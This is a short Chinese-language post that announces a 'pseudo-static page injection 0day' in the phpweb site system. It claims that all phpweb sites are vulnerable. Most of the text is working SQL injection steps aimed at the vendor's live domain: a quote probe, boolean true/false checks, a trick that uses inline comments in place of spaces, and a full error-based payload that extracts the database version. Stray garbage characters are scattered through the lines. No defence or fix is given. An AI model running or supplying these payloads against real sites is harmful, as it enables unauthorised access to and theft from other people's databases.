phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

) i9 k( @8 x1 x" a8 A9 L3 k# ]' B主站：http://phpweb.net/
加’检测：

http://www.phpweb.net/down/html/?772′.html
  l4 z6 Q" I( z4 F6 N3 H% _% K
0 g" h' k$ d7 ?. }! m: I* O  E出错
存在注入。
# U+ U+ b% H% f8 m9 `! E0 Z不能用空格，只能用/*罗
9 u! s+ f& U& V( `http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
& B- ^5 {) ]6 ]9 K8 k; S3 a爆数据库版本：

?
1 D6 d7 a6 D% s+ d7 ~- u. @1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
  t& J1 l# V4 a, c& F